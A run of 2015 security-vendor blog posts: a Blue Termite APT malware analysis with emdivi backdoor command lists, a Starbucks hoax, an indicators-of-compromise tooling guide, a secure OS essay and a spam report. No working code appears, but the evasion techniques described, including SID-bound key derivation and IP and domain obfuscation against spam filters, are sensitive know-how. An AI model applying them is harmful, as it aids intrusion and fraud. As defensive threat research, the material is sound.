This is not the first time the country has been a victim of an APT. However, the attack is different in two respects: unlike other APTs, the main focus of Blue Termite is to attack Japanese organizations; and most of their C2s are located in Japan. One of the top targets is the Japan Pension Service, but the list of targeted industries includes government and government agencies, local governments, public interest groups, universities, banks, financial services, energy, communication, heavy industry, chemical, automotive, electrical, news media, information services sector, health care, real estate, food, semiconductor, robotics, construction, insurance, transportation and so on. Unfortunately, the attack is still active and the number of victims has been increasing.

The following graph shows daily access to some of the known C2s:

You will see a significant increase in the middle of July (marked in orange). The spike resulted from new attack methods that the Blue Termite group employed and that Kaspersky Lab detects. This article introduces the new methods and technical details on how they work.

New method of initial infection

Originally, the main infection vector of the APT was spear-phishing emails. Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit (CVE-2015-5119, the one leaked from The Hacking Team incident).

Several Japanese web sites have been compromised with this method.


The malicious code inserted into the compromised site points to “faq.html”.

The source code of “faq.html”:

The “faq.html” loads “movie.swf” which contains the exploit. In this way, the malware infects a visitor’s machine when it’s accessed.

The “movie.swf” header is “ZWS”, a flash file compressed using the Lempel-Ziv-Markov chain-Algorithm (LZMA):

The file contains a big data section, marked in blue:

The data includes 12 bytes of header. The encoded data begins at 0x5dca (“\x78\x9c\xec\xb7….”) and is compressed using zlib. After decompression, an executable file (with an “MZ header”) is found.

In addition to the above data, the swf file also has a shellcode in ActionScript (AS):

The function of this shellcode is quite simple: it saves the extracted executable file as “rdws.exe” in the current temp directory, then executes it with WinExec().

The extracted executable file is “emdivi t17″, a new infection vector used by the attackers. We found several kinds of malware that execute as rdws.exe, and emdivi t17 is one of them.

Kaspersky Lab also found some watering hole attacks, including one on a website belonging to a prominent member of the Japanese government. We sent a notification email to the admin and ISP of the affected site but didn’t receive any reply. However, the malicious code was removed after about an hour. The code below filters out any IPs except for the one belonging to the specific Japanese governmental organization.

Interestingly, the script includes IP information with the variable name “TEST”. We suspect this is the attackers’ testing IP, located in Shanghai.

Customized malware according to target

Kaspersky Lab detected the tailored malware, “emdivi t20″. This malware is basically used after the infection by emdivi t17 that serves as a backdoor. Although the versions emdivi t17 and emdivi t20 are from the same emdivi family, the latter is more sophisticated.. For example, let’s look at the backdoor commands they make use of. emdivi t17 has 9 commands; on the other hand, some of emdivi t20 samples have up to 40 commands.

Commands supported by emdivi t17:

command md5 DOABORT d895d96bc3ae51944b29d53d599a2341 DOWNBG 39cd12d51b236befc5f939a552181d73 GETFILE 74a9d3a81b79eec0aa2f849cbc8a7efb GOTO 4b8bb3c94a9676b5f34ace4d7102e5b9 LOADDLL 67ca07ecb95c4055d2687815d0c0f8b9 SETCMD 48bb700b80557ee2e5cf06c90ba6698c SUSPEND ee93a0b023cef18b34ebfee347881c14 UPLOAD 8dff5f89b87ebf91a1ecc1dbed3a6fbb VERSION 021321e8c168ba3ae39ce3a2e7b3ec87

Commands supported by emdivi t20:

command md5 abort 5bb94a1c12413a2e5d14deabab29f2aa cd 6865aeb3a9ed28f9a79ec454b259e5d0 copy 12cba3ee81cf4a793796a51b6327c678 dir 736007832d2167baaae763fd3a3f3cf1 diskls e120a254f254978fc265354a4e79d1d6 doabort 1f6dcc1149b2eef63f6dd4833d5ef0d3 downbg 1e04875a872812e1f431283244b180d2 downbg2 7f3e982a0d9b4aa5303332aaf414d457 download fd456406745d816a45cae554c788e754 download2 b5a4000c99977ce512052d4e8bf737f8 execute ec0cd3cb91fe82b9501f62a528eb07a9 exhide fc236c4ddd3414cee8bd3cbd937461c0 exit f24f62eeb789199b9b2e467df3b1876b exuser 0b5396d6bd0867485ff63067ad9363e7 get b5eda0a74558a342cf659187f06f746f getfile b24ba6d783f2aa471b9472109a5ec0ee getlnk 71574cf393bf901effa0cbc6c37e4ce2 goto de94e676c0358eefea4794f03d6bda4f hash 0800fc577294c34e0b28ad2839435945 head 96e89a298e0a9f469b9ae458d6afae9f hjlnk ebb0149209e008e3f87e26659aa9b173 loaddll 0340b5e3f0d0ea71eeef6ab890270fc0 md 793914c9c583d9d86d0f4ed8c521b0c1 mklnk a3bb50704b87da1858a46455dfb5e470 move 3734a903022249b3010be1897042568e post 42b90196b487c54069097a68fe98ab6f postfile 316713cb9f82ff9ade53712ab1cbf92c postfile2 f15ae485061a10adead43d7f5d5a9889 rd eeec033a2c4d56d7ba16b69358779091 runas d88f585460839dd14ad3354bb0d5353b screen 599eba19aa93a929cb8589f148b8a6c4 setcmd 27dc2525548f8ab10a2532037a9657e0 setlen 846a44d63b02c23bcfee5b4ccaa89d54 suspend 497927fb538c4a1572d3b3a98313cab1 tasklist 6e0ad8e44cff1b5d2901e1c7d166a2a4 type 599dcce2998a6b40b1e38e8c6006cb0a unzip 0a342b59ecdcede0571340b9ed11633f upload 76ee3de97a1b8b903319b7c013d8c877 version 2af72f100c356273d46284f6fd1dfc08 zip adcdbd79a8d84175c229b192aadc02f2

They both store the md5 checksums of backdoor commands.

When analyzing emdivi t20 samples, we found that it is highly targeted in two respects.

Firstly, an emdivi t20 sample contains hardcoded internal proxy information, being encrypted at 0x44e79c:

The decrypted code is “proxy.??????????″:

This trick is not new, but it is not widely used. This is because it may reveal its targets, or it is not a generic method and only works in a specific organization. However, similar cases have been observed sometimes in other APTs.

The second aspect is quite interesting. The emdivi family stores important data about itself, including C2, API name, strings for anti-analysis, value of mutexes, as well as the md5 checksum of backdoor commands and the internal proxy information. They are stored in encrypted form, and are decrypted when necessary. Therefore, to analyze an emdivi sample in detail, we need to locate which hex codes are encrypted, and how to decrypt them. In the process of decryption, a unique decryption key is required for each sample.

emdivi t20 has a function to generate a decryption key using Salt1 and Salt2. Salt1 is generated from a magic string (suspected to be a version of emdivi) with certain four digits (suspected to be an ID of the C2).

Example of a magic string:

Part of the emdivi name (“t17″ and “t20″) is taken from this hardcoded magic string.

Salt2 is generated with a large amount of data that is hardcoded:

In most cases, the emdivi family generates a decryption key using Salt1 and Salt2.

In early July 2015, however, Kaspersky Lab found a sample that creates a decryption key with Salt1, Salt2, and Salt3. Salt3 is the security identifier (SID) from a compromised PC.

The flow of decryption key generation (with additional Salt3):

In other words, the sample works only on its target PCs. Without knowing the victim’s SID, the decryption key will not be generated successfully, making it difficult to decrypt important data. This means it’s not possible to analyze the malware in detail.

Fortunately, we were able to analyze those samples. We were able to successfully brute-force the decryption keys from several samples without SIDs.


From early June, when the cyber-attack on the Japan Pension Service started to be reported widely, various Japanese organizations would have started to deploy protection measures. However, the attackers from Blue Termite, who it seems kept a close eye on them, started to employ new attack methods and successfully expanded their operation. While writing this article, another sample of emdivi t20 has been found. It employs AES in addition to SID tricks, making it difficult to decrypt sensitive data. In order to fight back against this cyber-espionage, Kaspersky Lab will continue its research.

Kaspersky products detect emdivi t17, emdivi t20, and the flash exploits using the verdicts below:

  • Backdoor.Win32.Emdivi.*
  • Backdoor.Win64.Agent.*
  • Exploit.SWF.Agent.*
  • HEUR:Backdoor.Win32.Generic
  • HEUR:Exploit.SWF.Agent.gen
  • HEUR:Trojan.Win32.Generic
  • Trojan-Downloader.Win32.Agent.*
  • Trojan-Dropper.Win32.Agent.*

More information about the Blue Termite targeted attacks is available to Kaspersky Security Intelligence Services customers. Contact:

You’re Paying for Your Starbucks, One Way or the Other

Thu, 08/20/2015 - 03:47

Today, I received this message from a friend living in Mexico via Whatsapp.

According to the message, Starbucks is giving away 500 in local currency credits if you take their survey, so my friend asked me to take a quick look to determine if it’s real.

Sadly for the coffee lovers among us, this is a classic hoax campaign abusing the Starbucks brand. If the victim follows the link from a mobile device, it loads a fake Starbucks survey with some scripts designed to customize the campaign according to the city of origin and its local currency.

So if you live in the U.S. you’re promised $500 USD but if you’re in Argentina then it’s only 500 pesos and so on. Argentinians are clearly getting the worse end of that deal.

If you have the patience to click through the survey, the scammers have the gall to ask you to spread the message to 10 of your contacts in order to redeem your imaginary voucher. This is how this Hoax is spread –by enlisting the help of gullible victims to prey on their friends!

What if the victim uses a desktop browser? There is a script on the aforementioned site, which is actually located in Moldova, that detects the browser’s user agent. If it matches with a desktop version, the script redirects the visitor to the following URL:


That URL in turn redirects visitors to another website for a Fake (Rogue) Technical Support service meant to scare the victim into providing remote access to their system.

It turns out that Google Hangouts calls to that number are prohibited. My first calling attempt met an automated answer of ‘This number is not in service’. However, on a second attempt with an alternate line I was able to connect to somebody with a foreign accent.

If you’re so inclined, you can listen  to just how nice and attentive the ‘support staff’ is. Note the pauses and emotional inflection behind each scripted scene like ‘My name is…’ and when I revealed that my computer is infected:

As you can see, this is an all around ‘Hoax-Fraud-Rogue’ scheme with redundancies and low chance of failure. Victims themselves are enlisted to rekindle the campaigns flames by spreading the message to 10 new users. So, first things first, it’s very important to break the cycle, stop bombarding your friends with scams! Next, invite them to have a conversation about how hoaxes work, maybe over a cup of coffee you’ll actually have to pay for.

Indicators of compromise as a way to reduce risk

Wed, 08/19/2015 - 10:56

Infrastructure owners must regularly check their resources for the presence of malicious components. One of the ways in which a resource may become infected is as a result of “zero-day” vulnerability exploitation by cybercriminals. In this case, the developers of security tools used to protect the information system may be as yet unaware of the new threat. At the same time, experts may be investigating incidents related to the new threat. Moreover, some findings of these investigations may already be publicly available.

Such reports have practical value. A typical report on an APT campaign includes the following information:

  • Attack victims and the objectives of cybercriminals;
  • List of victim nodes (IP addresses);
  • Current activity of malicious components and/or cybercriminal groups;
  • Detailed descriptions of tools and malicious components used by the cybercriminals;
  • Description of the command-and-control (C&C) server infrastructure;
  • Indicators of compromise.

Of all the detailed technical information on any given APT, “indicators of compromise” have the greatest practical value for security administrators. This is a set of data that can help an administrator of the corporate IT infrastructure to discover any malicious activity in the system and take appropriate action.

How should information system administrators use this data in practice? This paper is intended to provide an answer to this question.

An indicator of compromise is information on the signs of malicious activity, which is structured in such a way that it can be fed into automated tools designed to check the infrastructure for signs of infection. Although there is no generally accepted format for descriptions of these indicators, several types of structured data are widely used and supported in the industry.


IOC (indicator of compromise) – a list of threat data (e.g., strings defining file paths or registry keys) which can be used to detect a threat in the infrastructure using automated software-based analysis.

Simple IOC usage scenarios involve searching the system for specific files using a variety of search criteria: MD5 hashes, file names, creation dates, sizes and other attributes. Additionally, memory can be searched for various signs specific to the threat and the Windows registry can be searched for specific records.

This data can be presented in a variety of formats, one example of which is OpenIOC. The different formats enable the data to be imported into different security solutions to provide further processing of the indicators. An administrator can integrate IOCs taken from reports into such security solutions as:

  • Solutions of the Endpoint Security class
  • SIEM
  • Various incident investigation tools

There are many commercial solutions for working with IOC, but in many cases the capabilities of similar open-source programs are sufficient to check the target system for signs of infection. One example is Loki – an IOC scanner distributed under the GPL license, which can be used to search the target system for various indicators appearing as a result of malicious activity.

To scan the system using the Loki scanner, it is sufficient to unpack the archive containing the utility and add the relevant IOC attributes to the scanner’s knowledge base. The following IOC categories are located in the application’s folder named “signature”:

  • “filename-iocs” – a text file containing lists of file system attributes produced by the activity of various threats;
  • “hash-iocs” – a list of MD5, SHA1 and SHA256 hashes of malicious components that appear in the system after it is infected;
  • “falsepositive-hashes” – a list of exceptions: MD5, SHA1 and SHA256 hashes that are marked as false positives by the scanner when detecting the relevant components.

As an example, consider the report we released after an investigation of the Carbanak APT. Page 36 of the report lists the MD5 hashes of all malware components that may be present in the system as a result of this infection. We can open the scanner’s file named “hash-iocs” and enter a rule for this threat in the following format: <MD5>;<description> .

List of Carbanak APT components’ MD5 hashes in Loki scanner’s “hash-iocs” file

The next step is to create an indicator in the text file named “filename-iocs”, which describes malicious components’ attributes in the file system. The indicator should have the following format:



IOC for the file system in Loki “filename-iocs” list

After entering the relevant indicators in the scanner’s knowledge base, we can launch a scan of the workstation. This requires launching the “loki.exe” executable file with administrator privileges (otherwise the scanner won’t be able to scan the contents of RAM for attributes) and wait for the scan to complete.

The process of scanning using Loki utility

Upon completing the scan, the application will generate a report and save it in the program’s folder under the name “loki.txt”.

YARA rules

In addition to the various IOC indicators, there are files with the “.yar” extension attached to some reports. These files contain rules for YARA – a tool for identifying and categorizing malicious samples. The so-called YARA rules use a special syntax to describe attributes that indicate the presence of malicious activity in the system. If one of the rules is met, the analyzer returns an infection verdict that includes the relevant details (e.g., the threat’s name).

Loki scanner described above also supports YARA rules, which means that administrators can use .yar files taken from reports to scan the system for the threats described in these reports. This is done by copying a .yar file to the “signature” folder and launching a scan.

However, the official tool created by developers of the YARA project is much better suited to working with YARA rules, because its knowledge base is regularly updated and is much more extensive than the databases of other similar utilities. As a result, scanning provides a more comprehensive view of an information system’s security, with more complete information on the presence of malicious components in the system.

To scan a workstation, it is sufficient to launch the YARA utility with the necessary parameters. For example:

yara32.exe –d md5= <MD5_hash><this_is_yara_rule.yar><dir_for_check>

where “-d” is a parameter used to define external variables. If any matches to any of the rules are detected, the utility will display a notification including the rule name and the component triggering the rule.

Sample notification of a YARA rule match

The administrator can, for example, launch such scans at system startup. This can be done by writing a simple PowerShell script that will launch utilities with the right parameters and, if necessary, schedule it to run on all hosts at logon using the Active Directory: User configuration -> Windows configuration -> Scenarios ->Logon.


Structured Threat Information Expression (STIX) is a unified language for recording threat information and importing it into software solutions. Many security solutions can import information in the STIX format (as well as JSON, which is described below) for using that information in the following kinds of infrastructure:

  • SIEM
  • Indicator-based security solutions (such as scanners)
  • Forensic platforms
  • Solutions of the Endpoint Security class, etc.

A STIX report can be imported into IBM QRadar, a popular SIEM solution, using a specially designed python script:

./ -f STIXDocument.xml -i -t XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX -r MyReferenceSet

where the “-f” parameter defines the location of a local STIX document, “-i” defines a host with a QRadar console installed on it, and “-t” defines a service token for QRadar.

STIX reports are also supported by the Splunk App for Enterprise Security intelligence platform and can be imported. A STIX file must have a .xml extension to be read and parsed.

It is worth noting that there is a Python utility called openioc-to-stix which can be used to convert OpenIOC format to STIX Indicators, enabling indicators of compromise to be imported as STIX rules into solutions that do not support OpenIOC.

JSON is one of the most popular data presentation formats, which is also often used to format data provided with reports. The use of JSON data depends on the administrator’s needs and on the software solution into which the data is imported. For example, if a JSON file contains IP addresses of command servers to which infected workstations connect, the administrator of the infrastructure protected by the solution can include these IPs in the blacklist of a firewall supporting JSON imports. If the firewall does not support importing data in this format, the administrator can use a parser (a JSON file analyzer) to export the IP list from the file and then import it into the firewall’s blacklist.


“Indicators of compromise” help to use threat data effectively: identify malware and quickly respond to incidents. These indicators are very often included in threat reports, which are often skimmed by readers. Even if a document providing details of a research project does not have a dedicated Indicators of Compromise section, a reader can always extract useful data (information on the attributes found in infected systems) from the text, present the data extracted in any of the formats described above and import it into a security solution.

Our latest researches with indicators of compromise:

Wild Neutron – Economic espionage threat actor returns with new tricks

The Mystery of Duqu 2.0: a sophisticated cyberespionage actor returns

The Great Bank Robbery: the Carbanak APT

Icefog OpenIOC Release

Darkhotel Indicators of Compromise (PDF)

Crouching Yeti — Appendixes (PDF)

What is a secure OS?

Thu, 08/13/2015 - 06:10

After the publication of our article on car hacking we received a number of questions regarding KasperskyOS. People who wrote to us made the valid point that there are several good and reliable operating systems on the market, designed, among other purposes, for the automotive industry. The main argument used to demonstrate the technological superiority of competing solutions was that the principle of security domain isolation is not a new idea and many of the existing systems that are currently in use have numerous additional security features based on the current needs, such as implementations of cryptographic protocols, network filters and protection against network attacks. Some of these systems are even certified to meet various security standards!

All these additional features (including certification) are of course important, but is it this functionality that makes an operating system reliable and secure? To answer this question, we first need to answer another: what is a secure OS? From our viewpoint, a secure operating system should guarantee secure or trusted execution of components that are not secure (programs).

Our concept has two very important aspects. One is obvious: we do not trust third-party software and consider it insecure and unreliable by definition. The other, not-so-obvious aspect: we should trust the operating system and regard kernel functionality as trusted. To increase the level of trust (after all, gentlemen do not always believe each other’s word), the kernel should undergo formal and mathematical verification (the subject of verification would merit a large research paper of its own).

Taking this paradigm as a starting point, we did not just implement a secure architecture based on a trusted kernel, but learned from existing secure OS implementations, as well. The fundamental principles, such as security domain separation and a microkernel are only half the story. Studying other systems and their limitations helps not only to avoid known problems but also to find new ways to implement security properties. As a result, we have developed an OS that, on the one hand, is similar in its operating principles to other operating systems but, on the other hand, has features which help to overcome known limitations and improve the security characteristics of the system on which the OS is running.

As an example of such improvement, I would like to mention interprocess communication (IPC) typification. This technology, the idea of which might seem quite obvious, provides us with low-level control of the data sent in application calls, giving security policies a granularity of control that has never been implemented at this level. Another feature is combining different types of security policies, such as Flow Control and Type Enforcement, in one system. The resulting policy is a mix of stateful and stateless policies, offering the best of both worlds. Naturally, the possibilities of combining policies are not limited to these two types. No commercial operating system can boast this flexibility. This functionality provides tight control of all interprocess communication, which is based not only on the knowledge of the subject and object of communication (who requests and from whom) but also on the knowledge of the high-level context of communication (what is requested, when and what data is transferred).

Other KasperskyOS features include a flexible language for defining security policies and a policy verification system, which makes both creating and debugging policies significantly easier. There are many other things, as well. The uniqueness of our work is supported by US and Russian patents.

As a result, we believe we have developed an operating system which implements the principle of trusted execution of untrusted applications. This was achieved, among other things, by using the principle of security domain separation and control of interprocess communication that is tight and flexible at the same time. This means that in the OS, modules can only interact by following a strictly defined protocol, enabling them to call only allowed functions in a strictly defined sequence. For customers, this means that even if there is a vulnerability in some module that can be exploited by a hacker (and we admit that this may be the case), the OS works in such a way that the hacker will only be able to gain control of the vulnerable module and will not be able to interfere with the operation of other modules, because all communications are controlled.

An operating system can be compared to a shield. All additional built-in security capabilities, including firewalls, secure data transfer protocols, even certification, are rivets on the shield. They certainly add reliability to the whole thing, but they do not define the overall level of protection. What is more important is the architecture, the principles underlying the OS. This determines whether the shield will be made of paper, plywood or steel. Many operating systems have great rivets – but what kind of shield are they attached to?

Spam and phishing in Q2 2015

Thu, 08/13/2015 - 05:55

 Download PDF version

Spam: features of the quarter “Noising” domains

We have already analyzed the situation with regard to the considerable increase in the number of new domain zones as well as mass generation of spammer domains in these zones, specifically those designed to send out illegitimate mass mailings. The further analysis of spam mailings shows that spammers rely not only on a huge number of new domains which they can change even within one thematic mass mailing, but also on the ways they are implemented in the text. For example, in Q1 we registered various cases of “noising” domains in links used to go to spam resources, as well as cases of code obfuscation in the HTML structure of the messages in the mass mailing.

In many mass mailing, spammers used IP addresses of sites, instead of domain names, in links to advertising resources. However they provided modified rather than direct IP addresses, representing them using the octal or hexadecimal numerical system, adding an arbitrary number of zeros to the beginning of the address. This did not change the IP address, but increased the number of possible variants of its representation (variations within one mass mailing); which, as spammers hoped, would help deceive the spam filter. Such alternative methods of representing IP addresses were used by spammers both in direct links and in “noised” redirects.

Spammers also used noised domains. For example, they represented a domain name using both upper and lower case characters (NEEDHosT.niNjA), as well as using several different codes in the HTML structure of the message. They attempted to hide their domains by changing one of the characters in the name of the domain zone for the same from the other code or similar to it. So, for example, it might look like this – , domainname.cⓞ

Spammers often applied several methods of noising in one email: they used both the alternative representation of the IP address or domain distortion, as well as the traditional use of meaningless “junk” text in the body of the message, in order to completely conceal the spam theme of the message.

World events in “Nigerian” spam

In the second quarter of 2015, “Nigerian” letters exploited the themes of the earthquake in Nepal, the presidential election in Nigeria and the Olympics in Rio de Janeiro. Tragic events widely covered in the world media are usually exploited by fraudsters to trick users, and their stories hardly change.

In the email written on behalf of a lawyer whose client died in Nepal, the scammers asked the recipient to play the role of the victim’s relative and help in receiving their inheritance, in return for financial remuneration. In the other mass mailings, the fraudsters distributed emails in the name of various organizations asking to help the earthquake victims. For example, “a representative of the Red Cross” asked the recipient to assist in accommodating a family of refugees who had decided to move to another country and invest their funds there.

Generally, the addresses of those who send “Nigerian” letters were registered on free e-mail services, even if the author of the email was a representative of an organization, as in the above case. However, some tricky fraudsters tried to make the name and the address of the sender look more legitimate. They sent out fake messages asking the recipients to make a voluntary donation to help the victims of the earthquake in Nepal.

“Nigerians” could not let political events go unnoticed. In one of the mass mailings, the fraudsters tried to lure the recipient with the sum of $2 million, which the newly elected President of Nigeria was allegedly ready to send to the user as compensation for the fraud committed by the citizens of his country.

The next Olympic Games in Brazil will not be held until 2016, but we are already registering fraudulent notifications of lottery wins dedicated to this popular sporting event. Interestingly, a large number of emails of this type was sent out in the run-up to the World Cup, while the Olympics were not mentioned. The content of the messages is standard: the lottery was held by the official organization, the recipient’s address was randomly selected out of millions of email addresses, to receive the win it is necessary to respond to the email and provide the specified personal information.

Noticeably, emails containing a short text in the body of the message, with detailed information provided in an attached PDF or DOC file, are gaining popularity with spammers. This may be because an email with a short text has more chance of passing through a spam filter as legitimate. Emails with attached files are especially dangerous because a user is likely to open the attachment to learn about the the content, which can result in malware infection.

The Google search algorithm update

Yet another event exploited in spam in the second quarter of 2015 was the release of regular update to the Google search algorithm. This changed the mobile web search results so that the sites adapted for mobile phones were displayed on top positions.

This news resulted in a significant increase in the amount of spam relating to SEO (search engine optimization) and promotion of sites. Spammers sent out offers advertising the creation of sites of any complexity and purpose, as well as services to attract new customers. They emphasized the necessity to bring the site up-to-date by using the latest features of a popular search engine. Those site owners who still had doubts were threatened with ending up as the last pages in Google search results and the resulting loss of potential customers.

Statistics Proportion of spam in email traffic

Proportion of spam in email traffic, January – June 2015

The worldwide decline in the share of spam in email traffic since the beginning of the year has almost stopped. In the second quarter of 2015 it stabilized, fluctuating between 53.5% in April and 53.23% in June.

Proportion of spam in email traffic in Russia, January – June 2015

The situation with spam in Russia is almost the same as for worldwide email traffic. During the second quarter, the share of spam traffic decreased by approximately 1 percentage point per month. Thus, the maximum quantity of spam emails in Q2 was sent in April (59.32%), while the minimum amount was distributed in June (57.47%)

Spam sources by country

Countries that were sources of spam, Q2 2015

In the second quarter of 2015 the USA (14.59%) and Russia (7.82%) remained the biggest sources of spam. China came third with 7.14% of the world’s spam, compared to 3.23% in the previous quarter. It was followed by Vietnam (5.04% compared to 4.82% in Q1), Germany (4.13% compared to 4.39% in Q1) and Ukraine (3.90% compared to 5.56% in Q1).

Spam email size

Spam email size distribution, Q1 2015 and Q2 2015

The distribution of spam emails by size saw little change from the previous quarter. The leaders were very small emails of up to 2 KB (65.38%), although the proportion of such emails has gradually decreased (it accounted for 73.99% in Q1). The share of emails sized 20-50 KB grew by 4.81 percentage points and reached 8.80%, while the percentage of emails in the size range of 2 KB-5 KB (17.16%), 5-10 KB (3.32%) and 10-20 KB (2.94%) increased slightly – by about 1 percentage point each.

Malicious email attachments

Top 10 malicious programs sent by email, Q2 2015

The notorious Trojan-Spy.HTML.Fraud.gen topped the rating. As we have written before, this program is a fake HTML page which is sent via email, imitating an important notification from a large commercial bank, an online store, a software developer, etc. This threat appears as an HTML phishing website where a user has to enter his personal data which is then forwarded to cybercriminals.

Second and third positions are occupied by Trojan-Downloader.HTML.Agent.aax and Both are HTML pages which, when opened by users, redirect them to a rigged site. There, a victim is usually faced with a phishing page or is offered a download – Binbot, a binary option trading bot. The two malicious programs spread via email attachments and the only difference between them is the link which redirects users to rigged sites.

Trojan.Win32.Fsysna.brtr rounds off the Top3. It is just a common spam bot which redirects spam from the command center to the mail server on behalf of the infected machine.

Fourth is This downloader, which was as low as sixth position in last year’s ranking, is a CPL applet (a Control Panel component) that downloads Trojans designed to steal confidential financial information. Most malicious programs of this type are aimed at Brazilian and Portuguese banks.

It is followed by Trojan-PSW.Win32.Fareit.auqm. Fareit Trojans steal browser cookies and passwords from FTP clients and email programs and then send the data to a remote server run by the fraudsters.

Seventh and eight places are occupied by downloaders from the Upatre family – Trojan-Downloader.Win32.Upatre.fbq and Trojan-Downloader.Win32.Upatre.fca, respectively, which are usually disguised as PDF or RTF documents. Their main task is to download, unpack and run additional applications.

Exploit.MSWord.CVE-2014-1761.k. is tenth in the Q2 rating of the most popular malicious programs sent by email. It is a Word document containing an exploit which uses an appropriate vulnerability to download to the victim computer other malicious programs designed to steal user personal data.

Malware families

If popular malware families, rather than specific malicious programs, are ranked, Upatre heads the Q2 rating. Malware from the Upatre family downloads the Dyre (aka Dyreza, Dyzap) Trojan banker. The list of financial organizations attacked by this banker depends on the configuration file which is loaded from the command center.

The MSWord.Agent family is gaining popularity, although in Q1 it only occupied third position in the Top 10. These malicious programs are DOC files with an embedded macro written in Visual Basic for Applications (VBA), which runs on opening the document. It downloads and runs other malware, such as malicious programs from the Andromeda family.

In Q2 2015, ZeuS/Zbot re-entered the Top 3. The members of this family are designed to carry out attacks on servers and users’ computers and also for capturing data. Although ZeuS/Zbot is capable of carrying out various harmful actions, it is most often used to steal banking information. It can also install CryptoLocker – a malicious program that extorts money to decrypt the data that is has encrypted.

Countries targeted by malicious mailshots

Distribution of email antivirus verdicts by country, Q2 2015

In the second quarter of 2015, there were major changes in the Top 3 countries most often targeted by mailshots. Germany (19.59%), which was only fourth in Q1, topped this quarter’s rating: every fifth antivirus detection was registered on the territory of this country. Great Britain, which headed the rating in Q1 2015, moved down to second position (6.31%). Brazil settled in third (6.04%).

The USA (5.03%), which was traditionally the country most often targeted by malicious mailshots, was in fourth place.

Of note is the fact that Russia (4.74%), which came only 10th in the previous quarter, climbed to fifth position in Q2 2015.

Special features of malicious spam

In the Q2 spam traffic we continued to register malicious emails with macro viruses, although the peak of distribution for these fell in the previous quarter. Although their number decreased, they still posed a serious threat: the macros we found belonged to the category of Trojan downloaders and were designed to download other malicious programs. Fraudsters trying to convince the recipient of the legitimacy of the email masked their messages as business correspondence and passed malicious attachments off as financial documents or orders.

In some emails the attackers specified the sender’s contact details, inserted logos to make the email look official and took the email address indicated in the email from the “From” field. This made the fraudulent email look even more credible for the recipient.

In Q2 2015, we also came across emails imitating official messages from real companies, and the attackers matched the content of the message to the area of the company’s activity. For example, the emails in one of the mass mailings notified the user about the alleged text message sent by the company providing telecommunications services. The recipient was told they could read it by opening the Microsoft Word attachment, but in fact the message contained Trojan-Downloader.VBS.Agent.amj.

Yet another trick which remained popular with cybercriminals who specialize in sending out malicious spam was masking messages s notifications of receipt of faxes or scans of various documents. These fake notifications are written mainly in English or German, and the attachments imitating the files with faxes or scans contain different types of malware: Trojan.Upatre, Trojan.Downloader and HawkEyePHPLogger. The text in the body of such emails could be brief or, by contrast, contain detailed information about the received document

In September 2014, we registered a malicious mass mailing with an attachment that is not typical for spam – an archive in ARJ format. In 2015, fraudsters continue to use non-conventional archives to spread malware: April’s and May’s spam traffic distributed attached archives withCAB and ACE extensions, which are not common for today’s spam. The archives contained Trojan Trojan-Downloader.Win32.Cabby and HawkEye Keylogger. Unlike such popular spam extensions as ZIP and RAR, the CAB and ACE attachments may not always be recognized by users and thus cause less suspicion.

In Q2 2015, scammers distributed attached malicious ZIP and APK files within the framework of one mass mailing. If ZIP files are found in the majority of spam messages, APK files are relatively rare because they are archived executable application files for Android. The ZIP archives contained the Upatre family Trojan, while the file Check_Updatesj.apk was detected as the encryption Trojan SLocker for Android: when run, it encrypts images, documents and video files stored on the device. After that, the message is displayed to the user asking him to pay for decrypting the files. In sending malware in attached malicious ZIP and APK files, within the framework of one mass mailing, the scammers may have thought that they could trap not only PC users but the owners of Android-based smartphones and tablets working with e-mail from these devices.


In Q2 2015, the Anti-Phishing system was triggered 30,807,071 times on computers of Kaspersky Lab users. 509,905 masks of phishing URLs were added to the Kaspersky Lab databases over this period.

For several quarters in a row, the largest percentage of users affected by phishing attacks was in Brazil, although in Q2 2015 the number fell by half compared to the previous quarter. The same thing happened to the phishing numbers in many other countries.

Geography of phishing attacks*, Q2 2015

* Number of users on whose computers the Anti-Phishing system was triggered as a percentage of the total number of Kaspersky Lab users in the country

Top 10 countries by percentage of users attacked:

  Country % of users 1 Brazil 9.74% 2 India 8.3% 3 China 7.23% 4 Russia 6.78% 5 France 6.54% 6 Japan 5.93% 7 Malaysia 5.92% 8 Poland 5.81% 9 Kazakhstan 5.79% 10 UАE 5.75% Organisations under attack

The statistics on phishing attack targets are based on the heuristic component of the Anti-Phishing system being triggered. The heuristic component of Anti-Phishing is triggered when the user follows a link to a phishing page information on which is not yet included in Kaspersky Lab databases, regardless of the way in which the page was reached – as a result of clicking on a link in a phishing email, a message on a social network or, for example, as a result of a malicious program’s operation. When the component is triggered, it displays a banner in the browser, warning the user of a possible threat.

In the second quarter of 2015, the “Global Internet portals” category topped the rating of organizations attacked by phishers – its share increased by 2.78 percentage points from the previous quarter and accounted for 42.35%. The percentage of the “IMS” category (4.05%) also grew slightly (+0.13 percentage points) while the other categories showed a decline: “Social networking sites” lost 2.6 percentage points, “Banks” – 5.56 percentage points, “Online stores” – 1.56 percentage points, “E-pay systems” – 2.84 peercentage points, “Telephone and Internet service providers” – 1.33 percentage points, “Online games” – 0.78 percentage points.

Distribution of organizations affected by phishing attacks, by category, Q2 2015

Instant messaging services are popular with fraudsters for many reasons. For example, cybercriminals often use stolen accounts for sending out phishing emails or links to malicious programs to the email addresses registered in the victim’s list of contacts, distributing spam, extorting money and other fraudulent schemes.

Distribution of phishing attacks on IMS, Q2 2015

Most of the Anti-Phishing system activations in this category fall on the popular Chinese instant messaging service QQ, supported by the Tencent telecommunications company.

Phishing pages imitating QQ personal account login pages

Second comes Skype (8.88%) owned by Microsoft. Its share is incomparably smaller than that of the leader in this category.

Phishing page inviting Skype users to verify their personal account

Top 3 organizations attacked

As we have written in our previous reports, the biggest part of non-spear phishing attacks targets the users of a small group of popular companies with many customers around the world. In this way fraudsters are trying to increase their chances of hitting the target by organizing yet another phishing attack.

The Top 3 organizations most often attacked by phishers accounts for 45.14% of all detected phishing links.

  Organization % of all detected phishing links 1 Yahoo! 29.03% 2 Facebook 10.44% 3 Google 5.67%

The top three organizations targeted by phishers remained unchanged from the previous quarter. It includes Yahoo! (+23.82 percentage points), Facebook (-0.53 percentage points) and Google (-2.44 percentage points). A considerable increase in the proportion of detections of fake Yahoo! pages became possible due to the general decrease in the number of detections; in terms of numbers, the quantity of fake Yahoo! page detections increased only insignificantly.

In Q2 2015, we came across a huge number of phishing pages which imitated the publication of a Facebook page containing an intimate YouTube video. When trying to play the video, a malicious program was downloaded to the victim’s computer.

Fake Facebook pages distributing malicious files


